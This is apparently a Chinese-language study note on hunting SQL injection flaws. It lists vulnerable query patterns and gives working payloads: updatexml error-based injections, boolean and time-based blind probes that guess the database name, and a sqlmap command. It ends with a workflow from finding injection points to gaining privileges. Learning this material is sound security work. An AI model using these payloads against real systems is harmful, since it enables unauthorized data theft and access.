漏洞挖掘之SQL注入漏洞挖掘
漏洞挖掘之SQL注入漏洞挖掘
SQL注入漏洞出现的场景
- 动态网站的访问请求
select news from article where id=$id;
select name from member where username='$name';
- 搜索框
select news from article where keywords like '%$name%';
有时候需要用%符号来闭合后面的
- 注册或填写信息
insert into member(username,pw,sex,phonenum,email,address)
values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}');
- 修改信息
update member set
sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}';
- 删除
delete from message where id={$_GET['id']};
- 登录
{"orderBy":"order limit 1,1 PROCEDURE ANALYSE(polygon(id),1)#","num":"1,1","type":"openedbyme"}
- HTTP头注入
insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport)
values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport');
演示具体场景下的挖掘
union注入
数字型注入
sqlmap进⾏post注入
sqlmap.py -r "1.txt" -p 参数名
字符型注入
报错注入
insert场景下的报错注入
yusy' or updatexml(1,concat(0x7e,version()),0) or '
delete场景下的报错注入
56 or updatexml(1,concat(0x7e,version()),0)
盲注
先尝试布尔在尝试时间
布尔盲注（base on boolian）
猜解当前数据库名
猜长度
输入1' and length(database())=1 #，显⽰不存在；
逐字猜解
输入1' and ascii(substr(database(),1,1))>97#
输入1' and ascii(substr(database(),1,1))<113#
...
重复以上步骤直到得出完整的数据库名
时间盲注（base on time）
kobe' and sleep(5)#
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
HTTP头注入
user-agent
x-forward-for
client-ip
cookie
注入漏洞挖掘流程
- 判断是否存在注入点
⾃动：工具扫描
手动：手动构造语句判断
- 信息获取
数据库信息，操作系统版本，用户信息，数据库名称，数据库表，字段，字段内容.....
- 尝试获取权限
